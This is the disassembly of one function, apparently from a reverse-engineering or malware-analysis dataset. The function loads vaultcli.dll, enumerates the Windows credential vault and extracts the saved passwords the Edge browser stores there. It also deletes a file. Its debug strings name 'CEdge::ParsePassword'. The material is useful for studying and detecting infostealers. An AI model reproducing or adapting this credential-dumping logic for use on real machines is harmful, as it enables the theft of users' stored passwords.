Function at 0x10009000
Capabilities:
Delete file
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x1011995b
mov eax, dword fs:[0]
push eax
sub esp, 0xe8
mov eax, dword [0x10165034]
xor eax, esp
mov dword [esp + 0xe0], eax
push ebx
push esi
push edi
mov eax, dword [0x10165034]
xor eax, esp
push eax
lea eax, [esp + 0xf8]
mov dword fs:[0], eax
mov esi, ecx
mov edx, dword [esi]
sub esp, 0x18
mov ebx, dword [ebp + 8]
mov dword [esp + 0x48], ebx
push esp
call dword [edx + 0x18]
mov ecx, esi
call fcn.10004960
mov edi, eax
test edi, edi
je 0x10009083
push ebx
push edi
mov ecx, esi
call fcn.10005db0
xor edx, edx
mov ecx, edi
call fcn.100c7610
cmp dword [esi + 0x30], 8
lea eax, [esi + 0x1c]
jb 0x1000907c
mov eax, dword [eax]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
cmp dword [esi + 0x80], 0
jne 0x100090c3
push str.vaultcli.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [esi + 0x80], eax
test eax, eax
jne 0x100090c3
push str.Init_vault_fail_
push 3
push 0x3c
push 0x101288f8
push 0x101288cc
call fcn.1010dc80
add esp, 0x14
xor al, al
jmp 0x100093cf
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.VaultOpenVault
push dword [esi + 0x80]
call edi
mov dword [esp + 0x24], eax
test eax, eax
jne 0x10009100
push str.Find_VaultOpenVault_fail_
push 3
push 0x49
push 0x10128988
push 0x101289d4
call fcn.1010dc80
add esp, 0x14
xor al, al
jmp 0x100093cf
push str.VaultEnumerateVaults
push dword [esi + 0x80]
call edi
mov ebx, eax
test ebx, ebx
jne 0x10009135
push 0x10128a18
push 3
push 0x50
push 0x10128a58
push 0x10128aa4
call fcn.1010dc80
add esp, 0x14
xor al, al
jmp 0x100093cf
push str.VaultEnumerateItems
push dword [esi + 0x80]
call edi
mov dword [esp + 0x2c], eax
test eax, eax
jne 0x1000916c
push str.Find_VaultEnumerateVaults_fail_
push 3
push 0x57
push 0x10128b50
push 0x10128ae4
call fcn.1010dc80
add esp, 0x14
xor al, al
jmp 0x100093cf
push str.VaultCloseVault
push dword [esi + 0x80]
call edi
mov dword [esp + 0x1c], eax
test eax, eax
jne 0x100091a3
push str.Find_VaultCloseVault_fail_
push 3
push 0x5e
push 0x10128c10
push 0x10128be4
call fcn.1010dc80
add esp, 0x14
xor al, al
jmp 0x100093cf
push str.VaultFree
push dword [esi + 0x80]
call edi
mov dword [esp + 0x18], eax
test eax, eax
jne 0x100091da
push str.Find_VaultFree_fail_
push 3
push 0x65
push 0x10128cc0
push 0x10128c94
call fcn.1010dc80
add esp, 0x14
xor al, al
jmp 0x100093cf
push str.VaultGetItem
push dword [esi + 0x80]
call edi
mov dword [esp + 0x28], eax
test eax, eax
jne 0x10009211
push str.Find_VaultGetItem8_fail_
push 3
push 0x6c
push 0x10128d50
push 0x10128d9c
call fcn.1010dc80
add esp, 0x14
xor al, al
jmp 0x100093cf
lea eax, [esp + 0x40]
mov dword [esp + 0x44], 0
push eax
lea eax, [esp + 0x48]
push eax
push 0
call ebx
test eax, eax
je 0x1000924d
push str.VaultEnumerateVaults_fail_
push 3
push 0x75
push str..._srcMoniterHelper_browserEdge.cpp
push str.CEdge::ParsePassword
call fcn.1010dc80
add esp, 0x14
xor al, al
jmp 0x100093cf
xor ebx, ebx
mov dword [esp + 0x20], ebx
cmp dword [esp + 0x44], ebx
jbe 0x100093cd
xor esi, esi
mov dword [esp + 0x14], esi
lea eax, [esp + 0x38]
push eax
mov eax, dword [esp + 0x44]
push 0
add eax, esi
push eax
call dword [esp + 0x30]
test eax, eax
jne 0x100093b7
lea eax, [esp + 0x3c]
push eax
lea eax, [esp + 0x4c]
push eax
push 0x200
push dword [esp + 0x44]
call dword [esp + 0x3c]
test eax, eax
jne 0x100093ae
xor edi, edi
cmp dword [esp + 0x48], edi
jbe 0x100093a6
xor ebx, ebx
lea ebx, [ebx]
lea ecx, [esp + 0x4c]
call fcn.10005710
mov dword [esp + 0x100], 0
mov esi, dword [esp + 0x3c]
add esi, ebx
mov eax, dword [esi + 0x14]
cmp dword [eax + 8], 7
jne 0x100092d8
mov eax, dword [eax + 0x10]
jmp 0x100092dd
mov eax, 0x10128e78
push eax
lea ecx, [esp + 0x50]
call fcn.10003960
mov eax, dword [esi + 0x18]
cmp dword [eax + 8], 7
jne 0x100092f5
mov eax, dword [eax + 0x10]
jmp 0x100092fa
mov eax, 0x10128e7c
push eax
lea ecx, [esp + 0x98]
call fcn.10003960
lea eax, [esp + 0x34]
mov dword [esp + 0x34], 0
push eax
push 0
push 0
push dword [esi + 0x20]
push dword [esi + 0x18]
push dword [esi + 0x14]
push esi
push dword [esp + 0x54]
call dword [esp + 0x48]
test eax, eax
jne 0x1000936f
mov eax, dword [esp + 0x34]
mov ecx, dword [eax + 0x1c]
cmp dword [ecx + 8], 7
sete al
test al, al
je 0x10009345
mov eax, dword [ecx + 0x10]
jmp 0x1000934a
mov eax, 0x10128e80
push eax
lea ecx, [esp + 0xb0]
call fcn.10003960
cmp dword [esp + 0xbc], 0
je 0x1000936f
mov ecx, dword [esp + 0x30]
lea eax, [esp + 0x4c]
push eax
call fcn.10006f30
mov eax, dword [esp + 0x34]
test eax, eax
je 0x1000937c
push eax
call dword [esp + 0x1c]
lea ecx, [esp + 0x4c]
mov dword [esp + 0x100], 0xffffffff
call fcn.10005780
inc edi
add ebx, 0x38
cmp edi, dword [esp + 0x48]
jb 0x100092b0
mov ebx, dword [esp + 0x20]
mov esi, dword [esp + 0x14]
push dword [esp + 0x3c]
call dword [esp + 0x1c]
lea eax, [esp + 0x38]
push eax
call dword [esp + 0x20]
inc ebx
add esi, 0x10
mov dword [esp + 0x20], ebx
mov dword [esp + 0x14], esi
cmp ebx, dword [esp + 0x44]
jb 0x10009263
mov al, 1
mov ecx, dword [esp + 0xf8]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xe0]
xor ecx, esp
call fcn.101176fb
mov esp, ebp
pop ebp
ret 4